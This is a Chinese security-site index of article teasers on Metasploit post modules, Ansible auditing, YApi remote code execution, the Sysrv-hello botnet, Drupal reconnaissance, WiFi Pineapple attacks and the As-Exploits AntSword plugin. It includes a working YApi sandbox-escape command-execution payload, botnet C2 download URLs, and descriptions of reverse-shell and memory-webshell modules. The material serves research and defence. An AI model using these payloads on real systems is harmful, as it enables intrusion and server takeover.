关于Metasploit5中的后渗透模块的编写与测试 安全文章

关于Metasploit5中的后渗透模块的编写与测试

*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。前言后渗透模块,顾名思义是在成功渗透目标主机之后进行操作的模块,这类模块可以达到某种或某些特定的目的。在Metasploit中,模块是后缀名为.rb的文件,它是利用Ruby编写的程序。本文详细描述了如何利用Ruby编写隐藏和禁止访问特定驱动器的后渗透模块、如何在Metasploit中加载该后渗透模块以及如何在meterpreter中利用该后渗透模块的过程。实验环境1.渗透主机:Kali-Linux-2019.1-vm-amd642.目标主机:Windows Server 2008 R23.软件版本:Metasploit v5.0.2编写后渗透模块1.模块的第一部分如下所示:# This module requires Metasploit: https://metasploit.com/download# This module is used to hide and restrict access to a particular drive# after you have successfully penetrated a serverrequire 'rex'require 'msf/core'require 'msf/core/post/windows/registry'class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry def initialize super( 'Description'=> 'This module is used to hide and restrict access to a particular drive', 'License'=> MSF_LICENSE, 'Author'=> 'Neroqi', ) register_options( < OptString.new('DriveCharacter', )>, self.class) endMetasploit的模块编写建议从注释开始,注释语句以“#”开头,注释能够增强模块的可读性,方便他人和自己以后的阅读使用。require ‘rex’引入了Metasploit中rex库的所有内容;require ‘msf/core’引入了Metasploit中core库的所有内容;require ‘msf/core/post/windows/registry’引入了registry.rb库文件,用于后续操作目标主机的注册表。class MetasploitModule < Msf::Post表示将该模块定义为Post类型,即后渗透模块类型。方法initialize定义了模块的相关信息及参数,其中register_options使用OptString.new函数定义了一个字符串变量DriveCharacter,用于存储盘符。2.模块的第二部分如下所示: def drive_converter(drive) case drive when "A" return 1 when "B" return 2 when "C" return 4 when "D" return 8 when "E" return 16 when "F" return 32...
阅读全文
黑客系列:你的Ansible包配置安全吗? SecIN安全技术社区

黑客系列:你的Ansible包配置安全吗?

译文来源:https://blog.includesecurity.com/2021/06/hack-series-is-your-ansible-package-configuration-secure/。受个人知识所限或偏见影响,部分内容或存在过度曲解误解现象,望师傅们包含提出建议,感谢。 在我们对客户的评估工作中,需要对各种类型的软件和云系统进行入侵,我们经常被要求去检查一些诸如Ansible这样的配置管理工具。在这篇文章中,我们将深入探讨在Ansible的世界中存在的软件包管理漏洞是什么样的。首先,我们先要回顾一下Ansible是什么,然后向安全人士提供一些提示技巧,以便于在较低层次上对其进行调试,并探讨dnf模块中的CVE和apt模块中的一个有趣的问题。 为了保障我们对DevSecOps的持续关注与向防御方人员提供的帮助建议,本系列的下一篇文章中将会讲到Semgrep等工具在捕获Andisble配置漏洞方面上的优势和劣势。 Ansible Ansible 是一款开源的,基于Python的,并由红帽公司开发的配置管理工具。它使DevOps等其他系统的维护人员能够轻松地用YAML格式编写由一系列任务组成的自动化脚本,然后针对目标主机来运行这些脚本。 Ansible的一个关键特点就是无代理的:目标主机无需安装Ansible,只需要安装Python和SSH。运行脚本的机器(也就是Ansible中的“控制节点”)通过SSH将运行任务所需的Python代码复制到目标主机(“受管节点”),然后远程执行这些代码。受管节点在“inventory(仓库)”中被组成一组,以便于被脚本锁定。 在2019年,Ansible曾是最受欢迎的云配置管理工具。然而,由于存在“不可改变的基础设施”这一范式的存在,导致人们后来更加热衷于选择Terraform和Docker来执行一些之前可能由Ansible来完成的任务,但它仍然是一个非常受欢迎的配置资源、服务和应用程序的工具。 Ansible提供了大量的内置模块,这些模块本质上就是调用apt、yum或sysctl等常用系统命令的高级接口。这些模块都是一些用于将指定的YAML任务翻译成在受管节点上实际执行命令的Python文件。例如,下面的脚本中包含了一个Ansible任务,使用apt模块在基于Debian的系统上安装NGINX。通常情况下,Ansible 脚本是针对远程主机运行的,但在我们的例子中,为了说明一些问题,我们是针对本地主机运行的。 yaml - name: Sample Apt Module Playbook hosts: localhost become: yes become_user: root tasks: - name: ensure nginx is installed apt: name: nginx state: present 为了更好地了解这一脚本在底层到底做了什么,让我们使用一个调试技术,这一技术在我们后面检查漏洞的时候会很有用。由于Ansible本身并没有提供查看确切运行命令的方法,我们可以使用一个简单的strace调用。strace可以让我们对该脚本在ansible-playbook下正常运行时触发的系统调用流程进行跟踪,即便是Ansible产生出了多个子进程(“-f”标志),这样我们就可以查看最终被执行的命令。 sh $ sudo strace -f -e trace=execve ansible-playbook playbook.yml 2>&1 | grep apt execve("/usr/bin/apt-get", , 0x195b3e0 /* 33 vars */) = 0 使用strace命令行选项(“-e trace=execve”)并用grep作为过滤器,我们能够确保无关的系统调用信息不会输出到终端上;这也就避免了Ansible和apt模块在最终完成任务前需要运行所有配置代码的干扰噪音。最终,我们可以看到,脚本运行了apt-get install nginx的命令,并增加了一些额外的命令行标志,以自动接受确认提示和交互对话。 如果你在跟踪流程的过程中,没有在strace的输出中看到apt-get install命令,请确保NGINX是卸载或未安装状态的。为了提高性能并杜绝一些不必要的副作用,Ansible首先会检查该任务是否已经实现,所以如果它认为NGINX已经处于安装状态的话,就会提前返回“ok“状态结束任务。 Ansible安全审计的十大技巧 Ansible将以简单的YAML格式声明的任务转换为系统命令,通常以root身份在受管节点上运行。这一抽象概念很容易导致那些看上去任务要做的事情和实际发生的事情之间的不匹配。我们将探讨Ansible内置模块中的这种不匹配在哪些地方有可能会对所有的受管节点中产生配置漏洞。 但首先,让我们回过头来看,通过这些对Ansible管理的基础设施进行审计的通用技巧来了解一些情况。从基础设施的安全角度来看,Ansible并不像其他一些配置管理工具那样会暴露出很多攻击面。SSH是用于从控制节点连接到受管节点的默认传输方式,因此Ansible流量利用了OpenSSH服务器提供的理智的默认值、加密技术以及与Linux服务器的集成性。然而,Ansible还可以以多种方式进行部署,在编写角色和脚本时可能会错过最佳实践。下面是IncludeSec的十大Ansible安全检查技巧,在审查配置时最好是要记住这些: 是否使用了旧版本的Ansible,且该版本易受到已知CVE漏洞的攻击? 在YAML文件中是否存在硬编码的密码? 不同环境(生产环境、开发环境、暂存环境)中的受管节点是否没有适当的分离成库存? Ansible运行的控制节点是否被基于主机/操作系统的安全控制完全锁定? 是否启用了便于模板注入的不安全检索? SSHD的配置文件是否使用了不推荐的设置,如允许root登录或启用远程端口转发? 是否正在使用替代性的连接方法(如ansible-pull),并对其进行了适当的保护? 默认情况下,是否对脚本运行的输出进行了记录或审计? 特权任务的机密输出是否进行了记录? 相关性高的角色/任务(例如那些管理认证、或安装软件包的角色/任务)是否真的在运行它所看上去那样的任务? 这些提示技巧是否适用,显然取决与该组织是在Ansible Tower这样的工具后面管理Ansible,还是在一个所有开发人员对生产环境都有SSH访问权的初创公司。然而,有一点是不变的,那就是Ansible通常是用安装包的方式来部署受管节点的,所以包管理任务中的配置漏洞是特别值得关注的。我们将重点讨论以Ansible YAML格式声明的常见软件包管理操作,可能会产生意想不到的安全后果的情况。 CVE-2020-14365:dnf模块中忽略了软件包签名 在Ansible模块中,YAML抽象概念和现实之间最明显的不匹配类型是一个彻头彻尾的bug。最近的一个例子就是CVE-2020-14365。dnf模块使用dnf软件包管理器安装软件包,dnf是yum的后继者,在Fedora Linux上是默认安装的。这个bug是该模块没有对其下载的软件包进行签名验证导致的。下面是在Ansible版本2.8.15到2.9.13之间上运行时存在漏洞的任务示例: yaml - name: The task in this playbook was vulnerable to CVE-2020-14365 hosts: localhost become: yes become_user:...
阅读全文
Yapi远程命令执行复现&waf bypass SecIN安全技术社区

Yapi远程命令执行复现&waf bypass

YApi是高效 、易用 、功能强大 的 api 管理平台,旨在为开发、产品、测试人员提供更优雅的接口管理服务。可以帮助开发者轻松创建、发布、维护 API,YApi 还为用户提供了优秀的交互体验,开发人员只需利用平台提供的接口数据写入工具以及简单的点击操作就可以实现接口的管理。 前言 先说一下该漏洞影响版本version<=1.8.8 && version = 1.9.2,漏洞研究需要严谨,不花时间了解来龙去脉直接告诉大家小于1.9.2版本就受漏洞影响的都是耍流氓,本文分为背景介绍、漏洞复现、waf bypass分析三部分,如有笔误还请指正 背景介绍 小知识:vm2模块提供了内置的白名单模块,不运行不受信任对代码,而vm模块则不提供任何安全措施,存在沙盒逃逸的安全风险,有兴趣可以自行查阅node.js 沙盒逃逸分析 2021年1月27日Loushangkeji向Yapi项目提交了一个issue,名为高级Mock可以获取到系统操作权限#2099,他指出在1.9.2版本中,高级Mock功能可以被用于获取服务器权限 我们追溯一下漏洞代码所在文件yapi/server/utils/commons.js的变更历史,可以发现一个很神奇的事情,在2020年3月11日,gaoxiaomumu提交了一个代码变更,本次改动将原高级Mock功能实现调用的vm模块修改为vm2模块,该模块提供了内置的白名单模块,不运行不受信任对代码,具有较高的安全性,实际上,在2020年3月11日至2020年5月29日之间的从YApi项目下载安装的YApi是不受高级Mock远程命令执行漏洞影响的。 gaoxiaomumu提交的代码变更如下 通过查看YApi项目的releases,以及之前的分析(在2020年3月11日至2020年5月29日之间的从YApi项目下载安装的YApi是不受高级Mock远程命令执行漏洞影响的),我们可以得知,本次漏洞影响的范围:version<=1.8.8 && version = 1.9.2 ,接下来我会带大家追溯一下为什么1.9.2版本又回滚了该漏洞 在YApi 1.9.2版本中,官方更新公告提出修复了高级 mock 无效的bug,该bug的修复代码由hellosean1025于2020年5月29日进行提交,本次改动将原高级Mock功能实现调用的vm2模块修改为vm模块,为攻击者在YApi的高级mock功能中执行不受信任的恶意代码提供了可能,so,坑点在这呢。 好兄弟在1.8.9版本刚修复的漏洞,就被好老哥宣称为了业务给再次搞出来了,话说就不能好好学习vm2模块么,说句题外话1.9.3再次将原高级Mock功能实现调用的vm模块修改为vm2模块,issue中再次出现了说啊我的高级Mock运行不了了,官方快给老子修复!难不成又要回滚?拭目以待 YApi更新日志 代码变更追溯 漏洞复现 环境搭建 环境准备 1、一台服务器,这里推荐阿里新用户活动99一年的2核2G5M带宽60G硬盘1000G月流量的轻量级服务器 2、docker环境 3、docker-compose命令 一键搭建 bash 待补充,容我偷个懒,网上教程还是挺多的~~~~ 复现过程 1、注册账户 任意注册一个账户,如果不注册可直接使用管理员账户登录 2、添加项目 任意添加一个项目,项目名称自定义 3、添加接口 任意添加一个接口,接口名自定义,GET请求即可 新建接口后会进入如下界面 4、开启mock功能 点击高级Mock-脚本,打开开启开关 在Mock脚本编辑栏输入网传脚本 js const sandbox = this const ObjectConstructor = this.constructor const FunctionConstructor = ObjectConstructor.constructor const myfun = FunctionConstructor('return process') const process = myfun() mockJson = process.mainModule.require("child_process").execSync("whoami").toString() 点击保存脚本 5、执行命令 在接口信息预览中我们可以看到Mock地址,点击Mock地址即可访问接口获取Mock代码执行结果 如下图成功获取到mock脚本执行结果,当前用户为root 至此,漏洞复现完毕 waf bypass分析 漏洞分析 小知识:再谈javascriptjs原型与原型链及继承相关问题、浅析 Node.js 的 vm 模块以及运行不信任代码 constructor:原型对象中的属性,指向该原型对象的构造函数 Context:V8中一个非常重要的类。Context中包了JavaScript内建函数、对象等。通过Context::New出来的Context都是一个全新的干净的JavaScript执行环境,且其他JavaScript环境的更改不影响New出来的Context的JavaScript执行环境,例如:修改JavaScript global函数。 以1.9.2版本代码为例,我们先看一下1.9.2版本中高级Mock功能的实现:sandbox对象初始化 -> 调用yapi.commons.sandbox函数 -> 将函数执行结果赋给sandbox...
阅读全文
Sysrv-hello僵尸网络又有什么新“招式”?深信服云蜜罐捕获最新变种 安全新闻

Sysrv-hello僵尸网络又有什么新“招式”?深信服云蜜罐捕获最新变种

概述 近日,深信服威胁情报团队在云蜜罐中捕获到Sysrv-hello挖矿家族的最新变种,作者于7月10日和7月21日进行了多次更新,该病毒家族的攻击模块达到了18个,在本次更新中,新增了SSH爆破、PostgreSQL RCE(CVE-2019-9193)和Struts2 RCE(CVE-2017-5638)攻击模块,进一步扩大了影响范围和危害,目前监测到失陷主机数量正呈上升趋势。Sysrv-hello家族最早出现于2020年12月份,至今其版本迭代已数十次,不断的新增攻击模块,是一个新型且十分活跃的家族。在最新的威胁情报分析中,我们发现了其最新发展之一,包括前置Payload去除了卸载云主机安全软件的模块以及新的自建钱包地址,并且其入侵手法基本覆盖到大多数政企单位常用的Web服务,危害严重,深信服威胁情报团队提醒相关运维人员及时更新补丁做好防护。 本次关键更新1. 前置Payload去除了之前新增的卸载云主机安全软件模块和a.py和BrowserUpdat.exe模块;(疑似版本回溯)2. 删除部分漏洞利用模块,并新添SSH爆破、PostgreSQL RCE(CVE-2019-9193)和Struts2 RCE(CVE-2017-5638)攻击模块,目前该版本共有18种攻击模块,并且仍在不断迭代更有效的横向攻击模块;3. 更换矿机地址为自己的C2服务器,疑似使用自建矿池。 病毒攻击流程 攻击活动通过深信服云端数据分析,发现该病毒近期扩散十分迅速,短期内有大量主机中招。如下图Sysrv-hello病毒近期的感染量,可以看到病毒在7月2-7日进行了大规模入侵活动: 样本关联通过威胁情报图数据库进行样本关联,发现大量的同家族威胁样本,该病毒的特征属于更新快、持续迭代演进的病毒家族: 病毒样本分析 Sysrv-hello攻击目标同时覆盖Windows和Linux操作系统,针对两平台除前置Payload不同外,其他模块基本一致。其中主体程序sys可执行文件(横向传播模块)是由Golang编写的,因此具备跨平台性。矿机使用的是开源XMRig矿机。下面将分别介绍Windows和Linux的前置Payload以及主体程序sys。 Windows版本入侵Windows系统成功后,植入名为ldr.ps1的PowerShell脚本来执行恶意命令。ldr.ps1脚本主要功能为:1. 关闭防火墙并结束自身老版本病毒的进程;2. 通过监测其他挖矿家族常用端口来清除竞品挖矿程序;3. 从C2:http//194.145.227.21/sys.exe下载并执行主体程序sys.exe,并通过创建计划任务和写注册表来实现本地持久化。 Linux版本入侵Linux系统成功后,植入名为ldr.sh的Shell脚本来执行恶意命令。ldr.sh脚本功能大致与Windows下的ldr.ps1大同小异,但功能更为完善。如:1. 关闭防火墙并结束自身老版本病毒的进程;2. 通过监测其他挖矿家族常用端口来清除竞品挖矿程序;3. 从C2:http//194.145.227.21/sys.x86_64下载并执行主体程序。除此之外ldr.sh,还会读取/、/root和/home目录下的SSH私钥及配置文件,并结合获取到的SSH密钥进行爆破。当爆破成功后,便在新的受害主机上下载并运行ldr.sh脚本,代码如图: 主体sys程序(横向传播模块)由于主体sys程序是由Golang编写的,因此不同平台前置Payload下载的sys.exeh和sys.x86_64其代码和功能差距不大,因此本文将以Windows版本进行介绍。通过脚本还原Go语言的函数和字符串之后,能定位出作者的编译路径和作者的用户名为K:创建端口互斥体根据受害主机名生成随机端口,并将该随机端口作为互斥体,当检测到该端口已处于监听状态便退出程序,来确保唯一进程执行。横向传播本次捕获到的Sysrv-hello一共包含18个横向攻击模块,根据随机生成的IP进行端口扫描,判断目标开放的服务,来确认使用的攻击方式。18种横向攻击方式如下表:端口漏洞9999XXL-JOB executor 未授权访问漏洞8888Jupyter未授权访问漏洞80Laravel Debug mode RCE(CVE_2021_3129)80/8080Tomcat 弱口令爆破80/8080Jenkins RCE(CVE-2018-1000861)8081Nexus Repository Manager 3 RCE(CVE-2019-7238)7001WebLogic RCE CVE-2020-148826379Redis弱口令爆破9001Supervisord远程命令执行漏洞(CVE-2017-11610)80JBoss反序列化漏洞(CVE-2017-12149)80ThinkPHP5 RCE5432PostgreSQL RCE(CVE-2019-9193)8090Confluence RCE(CVE-2019-3396)22SSH 爆破80Struts2-s2-045 RCE (CVE-2017-5638)80phpunit RCE(CVE-2017-9841)8088Hadoop YARN REST API未授权漏洞利用80Wordpress-XMLRPC暴力破解注:其中标红的为本次版本新增的横向攻击模块。新增横向攻击模块新增PostgreSQL RCE(CVE-2019-9193)漏洞利用模块,如图:新增struts2-s2-045 RCE(CVE-2017-5638)漏洞利用模块:新增SSH爆破:历史漏洞利用模块XL-JOB executor 未授权访问漏洞利用模块:Jupyter未授权访问漏洞利用模块:Laravel Debug mode RCE(CVE_2021_3129)漏洞利用模块:Tomcat 弱口令爆破模块:Jenkins RCE CVE-2018-1000861漏洞利用模块:Nexus Repository Manager 3 RCE(CVE-2019-7238)漏洞利用模块:WebLogic RCE (CVE-2020-14882)漏洞利用模块:Redis未授权写漏洞利用模块:Supervisord远程命令执行漏洞(CVE-2017-11610)利用模块:JBoss反序列化漏洞(CVE-2017-12149)利用模块:ThinkPHP5 RCE漏洞利用模块:PostgreSQL RCE(CVE-2019-9193)漏洞利用模块:Confluence RCE(CVE-2019-3396)漏洞利用模块:Payload:Phpunit RCE(CVE-2017-9841)漏洞利用模块:Hadoop YARN REST API未授权漏洞利用:WordPress暴力破解:XMRig挖矿最后,样本会创建守护线程(go routine)来守护矿机进程和文件,先将XMRig挖矿程序释放到临时目录下,并重命名为kthreaddi,然后释放配置文件,当挖矿进程运行起来,便会将配置文件删除。矿池地址为:194.145.227.21:5443,矿池与C2地址一致,并且本地配置和抓包都没有看到钱包地址,因此推测此版本使用的是病毒作者自建的矿池,详细配置如图:抓取的XMRig登陆信息的流量包: IOC MD5DA63A2F797B27F31745CFB8F94479BF4(sys.x86_64)D51BA1FEE712AAC5A3A17129782115AF(sys.exe)C67607C0927154A4D2EFD79AD502CC7D(ldr.ps1)46C7302FE138E6A877755A3B5203303A(ldr.sh)A7013A2C7FD3A6168A7C0D9EED825C32(kthreaddk.exe)IP194.145.227.21URLhttp//194.145.227.21/ldr.ps1http//194.145.227.21/ldr.shhttp//194.145.227.21/sys.exehttp//194.145.227.21/sys.x86_64 深信服产品解决方案 【深信服EDR】深信服EDR集成SAVE人工智能检测引擎,拥有强大的泛化能力,可轻松查杀该病毒,建议及时升级最新版本,并接入安全云脑,使用云查服务及时检测防御新威胁;【深信服下一代防火墙】可防御此次事件所使用的漏洞, 建议用户将深信服下一代防火墙开启 IPS 防护策略,并更新最新安全防护规则,即可轻松抵御此高危风险。【深信服安全感知平台】结合云端实时热点高危/紧急漏洞信息,可快速检出业务场景下的该次事件所使用的漏洞,并可联动【深信服下一代防火墙等产品】实现对攻击者IP的封堵。【深信服安全云眼】深信服安全云眼针对此次事件所使用的漏洞已具备扫描能力,保障用户安全。不清楚自身业务是否存在漏洞的用户,可注册信服云眼账号,获取30天免费安全体验。注册地址:http://saas.sangfor.com.cn【深信服云镜】深信服安全云眼针对此次事件所使用的漏洞已具备扫描能力,部署了云镜的用户可以快速检测网络中是否受该高危风险影响,避免被攻击者利用。【深信服安全运营服务】通过以“人机共智”的服务模式帮助用户快速提高安全能力。针对此类威胁,安全运营服务提供安全设备策略检查、安全威胁检查、相关漏洞检查等服务,确保第一时间检测风险以及更新策略,防范此类威胁。 深信服蜜罐活动 —— 福利放送 ——为回馈新老用户凡是开通云鉴订阅服务开通1年送3个月云蜜罐订阅服务开通3年送1年云蜜罐订阅服务即刻扫码申请↓↓↓深信服千里目安全实验室深信服科技旗下安全实验室,致力于网络安全攻防技术的研究和积累,深度洞察未知网络安全威胁,解读前沿安全技术。● 扫码关注我们 本文始发于微信公众号(深信服千里目安全实验室):Sysrv-hello僵尸网络又有什么新“招式”?深信服云蜜罐捕获最新变种
阅读全文
信息收集 -- Drupal网站 安全工具

信息收集 -- Drupal网站

一、网站目录1、Core:包括Drupal默认安装时所使用的文件2、Modules:在Drupal中的所有自定义创建的模块都将存储这里。3、Profiles:此文件夹存储安装配置文件。安装配置文件包含有关预安装模块、主题和给定Drupal站点配置的信息。4、sites:当Drupal与多个站点一起使用时,它包含特定于站点的模块。5、Themes:基本主题和所有其他自定义主题都存储在此目录中。6、Vendors:该目录包含Drupal使用的后端库,例如Symfony。二、Drupal侦查和枚举1、通过README.txt检测访问:http://192.168.1.111:8080/README.txt2、通过元标记检测,搜索关键字“Generator”3、通过服务器标头检测,抓取数据包查看4、通过CHANGELOG.txt检测访问:http://192.168.1.111:8080/core/CHANGELOG.txt5、通过install.php查看三、使用droopescan对Drupal进行探测1、安装droopescangit clone https://github.com/droope/droopescan.gitcd droopescanpip install -r requirements.txt2、探测信息./droopescan scan drupal -u http://192.168.1.111:8080该系列教程内容参考自华章IT出版的《Web渗透测试实战:基于Metasploit 5.0》禁止非法,后果自负欢迎关注公众号:web安全工具库欢迎关注视频号:之乎者也吧 原文始发于微信公众号(web安全工具库):信息收集 -- Drupal网站
阅读全文
Realtek WiFi 模块受严重漏洞影响 安全漏洞

Realtek WiFi 模块受严重漏洞影响

 聚焦源代码安全,网罗国内外最新资讯!编译:奇安信代码卫士Realtek RT8170C WiFi 模块中被指存在多个严重漏洞,可被滥用于获取设备的提升权限并劫持无线通信。以色列物联网公司 Vdoo 在今天发布的 write-up 中指出,“成功利用这些严重漏洞可导致该 WiFi 模块遭完全控制,并获得使用该模块的嵌入式设备操作系统(如 Linux 或安卓)的根访问权限。”Realtek RTL8710C 支持 Ameba。Ameba 是一款兼容 Arduino 的可编程平台,配有外围接口,供设备构建多种物联网应用程序,涵盖农业、汽车、能源、医疗、工业、安全和智能家庭等行业。这些缺陷影响所有使用该组件连接至 WiFi 网络的嵌入式和物联网设备。实施利用时,攻击者需要和设备(使用 RTL8710C模块或知道网络的预分享密钥)位于相同的 WiFi 网络。PSK 是一种加密密钥,用于验证局域网上的无线客户端。这项研究基于2月份发布的一项分析。该分析在 Realtek RTL8195A WiFi 模块中发现了类似缺陷,其中最主要的是一个缓冲区溢出漏洞 (CVE-2020-9395),可导致位于 RTL8195 模块距离内的攻击者完全接管该模块而无需知道 WiFi 网络密码。与此同时,RTL8170C WiFi 模块的 WPA2 四路握手机制易受两个栈缓冲区溢出漏洞(CVE-2020-27301 和 CVE-2020-27302)的影响,其CVSS评分为8.0。这些漏洞可滥用于获取使用该 WiFi 模块的 WPA2 客户端上的远程代码执行后果。研究员演示了一种可能的真实攻击场景:攻击者伪装成合法的访问点并向任意客户端发送恶意加密组临时密钥 (GTK),该任意客户端通过 WPA2 协议与其连接。组临时密钥用于保护所有多播和广播流量。Vdoo 表示,目前尚未发现利用这些漏洞的已知攻击活动,且在2021年1月11日之后发布的固件版本已包括解决了这些漏洞的缓解措施。该公司还建议称,如无法更新设备固件,则使用“强大的私密 WPA2 密码”阻止漏洞遭利用。推荐阅读Linux 被曝存在6年的严重 Realtek WiFi 0day,可使系统遭完全攻陷:或值2.5万美元1997年起至今的所有 WiFi 设备均易遭 Frag 攻击这个 bug 可劫持同一 WiFi 网络上所有的安卓版火狐移动浏览器RSAC | WiFi 芯片被曝高危漏洞,影响全球数十亿台设备原文链接https://thehackernews.com/2021/06/researchers-warn-of-critical-bugs.html题图:Pixabay License文内图:hackernews本文由奇安信编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。奇安信代码卫士 (codesafe)国内首个专注于软件开发安全的产品线。    觉得不错,就点个 “在看” 或 "赞” 吧~ 本文始发于微信公众号(代码卫士):Realtek WiFi 模块受严重漏洞影响
阅读全文
大菠萝WifiPineapple使用浅析(二) 移动安全

大菠萝WifiPineapple使用浅析(二)

以下内容仅供技术研究学习使用!严禁用于非法操作!切实维护国家网络安全,普及相关网络安全知识是信安从业者的义务!这部分主要是针对插件和web管理页面仪表盘的使用。上一篇文章介绍到Dwall绵羊墙组件的使用,有些优秀的模块在kali Linux上也有预装,比如:Site Survey模块里面的抓取wpa握手包使用到的工具是aircrack-ng。Occupineapple模块可以创造出很多虚拟热点,自定义命名热点名称。编辑虚拟热点名称,然后广播。在当前的无线网络环境下可以查看到刚才我编辑的虚拟热点,默认的虚拟热点名称是乱七八糟的。RandomRoll模块给所有连接WifiPineapple热点的客户端都自动弹出恶搞http页面。urlsnarf模块可以直接的看到网络内终端的http数据包。Site Survey模块抓取附近热点的wpa握手包,通常是* .cap或* .pcap后缀名为结尾的文件。结合在线网站破解密码,但是有点......可以配合ewsa工具对抓取到的握手包进行破解其它的一些组件简介:组件名称功能介绍CursedScreech可监听网络内的终端,如果发现有漏洞的系统可以通过kuro尝试获取目标权限ettercap自定义一个认证页面,启用之后所有的终端都需要认证才可以使用网络,属于中间人攻击。SSLsplit也属于一种中间人攻击,可以作为中间人监听SSL信息和HTTP信息。Online Hash Crack在线哈希破解,连接到www.onlinehashcrack.com,基本上是比较鸡肋的功能。SignalStrength以图形化的方式展示周围热点的信号强弱。Web管理界面仪表盘Recon侦察功能扫描周围的热点,可以获取到热点的SSID、MAC地址、加密方式、WPS功能、信号强弱等信息PineAP这个功能可以通过伪造Probe Response响应包来迷惑周围的终端,来迷惑这些设备终端连接已保存过的无线网络AP,连接上的设备可以通过Clients查看到。Networking查看菠萝派的网络情况。总结的话,这个设备整合的很多关于测试无线安全的软件,如果想要使用这些软件的完整功能,建议还是下载完整版学习。大菠萝设备单纯只是用来学习的,模块稍多就或者开的任务进程多了之后热点就容易掉,或许是玩得还不够多的原因,但是通过设备还是接触到了很多用来测试无线安全的软件,整体来看这个大菠萝设备的可玩性还是挺高的。天磊卫士|专注网络安全服务咨询热线:400-654-0108官网:https://www.uguardsec.com分支机构:深圳、海口、北京、青岛、汕尾漏洞扫描|整改加固|渗透测试|APP安全评估|安全运维系统入网|上线安全评估|代码审计|应急响应|应急演练 相关推荐: 移动安全-APP安全测试要点APP安全威胁在App项目中都会碰到三座App安全大山。App客户端安全、数据传输安全、App服务端安全。下面以分析检测的思路进行对App安全威胁的这三座大山进行一些剖析梳理总结。工具介绍静态分析工具 : Apktool、dex2jar、jadx-g…
阅读全文
As-Exploits: 中国蚁剑后渗透框架 安全工具

As-Exploits: 中国蚁剑后渗透框架

前言冰蝎跟哥斯拉都有了各自的一些后渗透模块,然而蚁剑这一块基本还是空缺,所以就萌生出来做一个蚁剑的后渗透框架插件的想法。目前插件的定位是蚁剑的一个微内核拓展模块,可以迅速做到payload的工程化,不用过多时间浪费在插件的结构上。目前的As-Exlpoits各部分之间基本做到了解耦,新增一个payload只需要两步:1.填写payload,2. 画一个表单。其余发包,回显处理等事情框架会自动帮你实现。想要自定义的话只需要继承父类然后重写对应方法即可。因为http是无状态的,webshell能做的事情其实很有限,所以插件功能的重点主要放在msf,nmap等其他工具的联动上面,把专业的事情交给专业的工具去做。总体设计一个模块在初始化之后的流程大概是这样当exploit事件发生时,会调用getArgs跟genPayload函数来组合成最后的payload,默认将回显数据发送到编辑框里。模块介绍简单的塞一些模块,没错我就是缝合怪。基本信息获取当前服务端信息。反弹Shell跟MSF联动,与冰蝎和哥斯拉相比新增了bind类型的payload。目前支持以下类型:java/meterpreter/reverse_tcpjava/shell/reverse_tcpjava/meterpreter/bind_tcpjava/shell/bind_tcpphp/meterpreter/reverse_tcpphp/shell/reverse_tcpphp/meterpreter/bind_tcpphp/shell/bind_tcp内存马一键打入内存Webshell。由于时间仓促,目前仅支持Servlet型内存马。核心payload修改自哥斯拉,继承了nolog的功能,即内存马不会在tomcat中留下日志。可打入的内存马种类:AntSwordBehinderGodzilla-Base64reGerog其中组件名称为注册的Servlet的名称,可以起一个具有迷惑性的名字来隐藏自己。内存马管理获取当前Servlet卸载指定Servlet杀软识别数据来源是key师傅的项目:avList通过tasklist /svc获取当前进程列表,识别出其中的杀软。目前支持手动跟自动两种获取方式:自动获取自动执行系统命令tasklist /svc并分析回显数据。手动获取手动输入tasklist /svc的结果。如何用node修改java字节码在本插件中所有额外参数都采用了直接修改字节码,而没有采用额外参数的方式来传参。蚁剑没有java环境,那么是如何做到用node修改字节码的呢?详细的例子可以看我博客这篇文章:无java环境修改字节码其实我们的需求无非只是修改变量池中的一个字符串,并不需要asm框架那么强大的功能。java字节码常量池中共有14种类型,如下表格所示:注意上面的表格的单位是错的,应该是byte不是bit我们关注的应该是CONSTANT_utf8_info跟CONSTANT_String_info。如果变量是第一次被定义的时候是用CONSTANT_utf8_info标志,第二次使用的时候就变成了CONSTANT_String_info,即只需要tag跟面向字符串的索引。也就是说关键的结构就是这个其实跟PHP的序列化很相似,首先来个标志位表示变量的类型,然后是变量的长度,最后是变量的内容。既然知道了其结构,那么修改的办法也就呼之欲出。除了修改变量的hex,只需要再把前面的变量长度给改一下就可以了。把yan表哥的代码抽出来修改一下,yan表哥yyds。123456789101112131415161718192021222324function replaceClassStringVar(b64code, oldvar, newvar) { let code = Buffer.from(b64code, 'base64');//解码 let hexcode = code.toString('hex');//转为16进制 let hexoldvar = Buffer.from(oldvar).toString('hex');//转为16进制 let oldpos = hexcode.indexOf(hexoldvar); if (oldpos > -1) {//判断字节码中是否包含目标字符串 let newlength = decimalToHex(newvar.length, 4);//计算新字符串长度 let retcode = `${hexcode.slice(0, oldpos - 4)}${newlength}${Buffer.from(newvar).toString('hex')}${hexcode.slice(oldpos + hexoldvar.length)}`;//把原来字节码的前后部分截出来,中间拼上新的长度跟内容 return Buffer.from(retcode, 'hex').toString('base64');//base64编码 } return b64code; } function decimalToHex(d, padding) { var hex = Number(d).toString(16); padding = typeof (padding) === "undefined" || padding === null ? padding = 2 : padding; while (hex.length < padding) { hex = "0" + hex;//小于padding长度就填充0 } return hex; }content=`xxxxxxxxxxxxx`//要替换的字节码content=replaceClassStringVar(content,'targetIP','192.168.88.129')content=replaceClassStringVar(content,'targetPORT','9999')console.log(content)编写模块父类BaseBase是所有模块的基类,放了一些默认的方法。顺着代码来说吧。123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186"use strict";const LANG = require("../language"); // 插件语言库const LANG_T = antSword; //...
阅读全文
Metasploit6.0系列教程 -- MSF控制台命令 安全文章

Metasploit6.0系列教程 -- MSF控制台命令

